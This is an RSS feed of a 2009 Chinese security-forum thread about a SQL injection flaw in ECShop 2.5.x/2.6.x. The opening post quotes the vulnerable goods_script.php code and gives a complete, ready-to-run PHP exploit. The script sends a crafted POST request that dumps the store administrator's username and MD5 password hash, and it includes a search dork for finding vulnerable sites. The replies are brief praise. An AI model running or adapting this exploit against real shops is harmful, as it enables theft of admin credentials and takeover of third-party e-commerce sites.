<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title><![CDATA[Wolves Security Team - ECShop注射漏洞]]></title>
		<link>http://bbs.wolvez.org/topic/67/</link>
		<description><![CDATA[The most recent posts in ECShop注射漏洞.]]></description>
		<lastBuildDate>Thu, 26 Mar 2009 13:44:46 +0000</lastBuildDate>
		<generator>PunBB</generator>
		<item>
			<title><![CDATA[Re: ECShop注射漏洞]]></title>
			<link>http://bbs.wolvez.org/post/187/#p187</link>
			<description><![CDATA[<p>顶下~~:D:D:D</p>]]></description>
			<author><![CDATA[dummy@example.com (toby57)]]></author>
			<pubDate>Thu, 26 Mar 2009 13:44:46 +0000</pubDate>
			<guid>http://bbs.wolvez.org/post/187/#p187</guid>
		</item>
		<item>
			<title><![CDATA[Re: ECShop注射漏洞]]></title>
			<link>http://bbs.wolvez.org/post/185/#p185</link>
			<description><![CDATA[<p>水贴路过为个纪念.</p>]]></description>
			<author><![CDATA[dummy@example.com (q1ur3n)]]></author>
			<pubDate>Tue, 24 Mar 2009 16:42:12 +0000</pubDate>
			<guid>http://bbs.wolvez.org/post/185/#p185</guid>
		</item>
		<item>
			<title><![CDATA[Re: ECShop注射漏洞]]></title>
			<link>http://bbs.wolvez.org/post/184/#p184</link>
			<description><![CDATA[<p>膜拜下..</p>]]></description>
			<author><![CDATA[dummy@example.com (jackal)]]></author>
			<pubDate>Tue, 24 Mar 2009 13:41:21 +0000</pubDate>
			<guid>http://bbs.wolvez.org/post/184/#p184</guid>
		</item>
		<item>
			<title><![CDATA[Re: ECShop注射漏洞]]></title>
			<link>http://bbs.wolvez.org/post/183/#p183</link>
			<description><![CDATA[<p>你终于发出来了...</p>]]></description>
			<author><![CDATA[dummy@example.com (uk)]]></author>
			<pubDate>Tue, 24 Mar 2009 13:19:43 +0000</pubDate>
			<guid>http://bbs.wolvez.org/post/183/#p183</guid>
		</item>
		<item>
			<title><![CDATA[Re: ECShop注射漏洞]]></title>
			<link>http://bbs.wolvez.org/post/182/#p182</link>
			<description><![CDATA[<p>sql随便x啊，可惜要on才行啊。</p>]]></description>
			<author><![CDATA[dummy@example.com (terrysco)]]></author>
			<pubDate>Tue, 24 Mar 2009 09:51:35 +0000</pubDate>
			<guid>http://bbs.wolvez.org/post/182/#p182</guid>
		</item>
		<item>
			<title><![CDATA[ECShop注射漏洞]]></title>
			<link>http://bbs.wolvez.org/post/179/#p179</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://bbs.wolvez.org">http://bbs.wolvez.org</a><br />2009-03-24</p><p>影响2.5.x和2.6.x,其他版本未测试</p><p>goods_script.php44行:<br /></p><div class="codebox"><pre><code>    if (empty($_GET[&#039;type&#039;]))
    {
        ...
    }
    elseif ($_GET[&#039;type&#039;] == &#039;collection&#039;)
    {
        ...
    }
    $sql .= &quot; LIMIT &quot; . (!empty($_GET[&#039;goods_num&#039;]) ? intval($_GET[&#039;goods_num&#039;]) : 10);
    $res = $db-&gt;query($sql);</code></pre></div><p>$sql没有初始化,很明显的一个漏洞:)</p><p>EXP:<br /></p><div class="codebox"><pre><code>#!/usr/bin/php
&lt;?php

print_r(&#039;
+---------------------------------------------------------------------------+
ECShop &lt;= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: &quot;Powered by ECShop&quot;
+---------------------------------------------------------------------------+
&#039;);
/**
 * works with register_globals = On
 */
if ($argc &lt; 3) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path
host:      target server (ip/hostname)
path:      path to ecshop
Example:
php &#039;.$argv[0].&#039; localhost /ecshop/
+---------------------------------------------------------------------------+
&#039;);
    exit;
}

error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match(&#039;#href=&quot;([\S]+):([a-z0-9]{32})&quot;#&#039;, $resp, $hash);

if ($hash)
    exit(&quot;Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n&quot;);
else
    exit(&quot;Exploit Failed!\n&quot;);

function send()
{
    global $host, $path;

    $cmd = &#039;sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x&#039;.bin2hex(&#039;all&#039;).&#039; LIMIT 1#&#039;;

    $data = &quot;POST &quot;.$path.&quot;goods_script.php?type=&quot;.time().&quot;  HTTP/1.1\r\n&quot;;
    $data .= &quot;Accept: */*\r\n&quot;;
    $data .= &quot;Accept-Language: zh-cn\r\n&quot;;
    $data .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
    $data .= &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&quot;;
    $data .= &quot;Host: $host\r\n&quot;;
    $data .= &quot;Content-Length: &quot;.strlen($cmd).&quot;\r\n&quot;;
    $data .= &quot;Connection: Close\r\n\r\n&quot;;
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Tue, 24 Mar 2009 03:00:00 +0000</pubDate>
			<guid>http://bbs.wolvez.org/post/179/#p179</guid>
		</item>
	</channel>
</rss>
